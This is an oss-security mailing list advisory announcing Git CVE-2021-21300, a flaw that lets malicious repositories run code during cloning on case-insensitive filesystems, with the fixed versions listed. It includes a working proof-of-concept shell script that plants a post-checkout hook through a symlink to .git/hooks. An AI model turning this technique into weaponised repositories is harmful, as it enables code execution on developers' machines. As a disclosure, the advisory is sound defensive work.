oss-security - git: malicious repositories can execute remote code while cloning

Follow @Openwall on Twitter for new release announcements and other news

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <nycvar.QRO.7.76.6.2103091555260.50@tvgsbejvaqbjf.bet>
Date: Tue, 9 Mar 2021 16:03:37 +0100 (CET)
From: Johannes Schindelin <Johannes.Schindelin@....de>
To: oss-security@...ts.openwall.com
cc: git-security@...glegroups.com, Matheus Tavares <matheus.bernardino@....br>
Subject: git: malicious repositories can execute remote code while cloning

Team,

The Git project released new versions on Tuesday, March 9th 2021
addressing CVE-2021-21300.

This vulnerability affects platforms with case-insensitive filesystems
with support for symbolic links, when certain clean/smudge filters are
configured globally (e.g. Git LFS).

The fixed versions are v2.17.6, v2.18.5, v2.19.6, v2.20.5, v2.21.4,
v2.22.5, v2.23.4, v2.24.4, v2.25.5, v2.26.3, v2.27.1, v2.28.1, v2.29.3,
and v2.30.2.

Link to the announcement:
https://lore.kernel.org/git/xmqqim6019yd.fsf@gitster.c.googlers.com/T/#u

We highly recommend to upgrade.

The addressed issue is:

* CVE-2021-21300:
  On case-insensitive filesystems, with support for symbolic links,
  if Git is configured globally to apply delay-capable clean/smudge
  filters (such as Git LFS), Git could be fooled into running
  remote code during a clone.

  Demo exploit:

  #!/bin/sh

  git init delayed-checkout &&
  (
  	cd delayed-checkout &&
  	echo "A/post-checkout filter=lfs diff=lfs merge=lfs" \
  		>.gitattributes &&
  	mkdir A &&
  	printf '#!/bin/sh\n\necho PWNED >&2\n' >A/post-checkout &&
  	chmod +x A/post-checkout &&
  	>A/a &&
  	>A/b &&
  	git add -A &&
  	rm -rf A &&
  	ln -s .git/hooks a &&
  	git add a &&
  	git commit -m initial
  ) &&
  git clone delayed-checkout cloned

  With Git LFS enabled globally, this will print "PWNED" during the clone
  on case-insensitive file systems with support for symbolic links (such
  as NTFS, HFS+, etc).

Credit for finding the vulnerability goes to Matheus Tavares who also
worked with me on fixing it.

Thanks,
Johannes

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.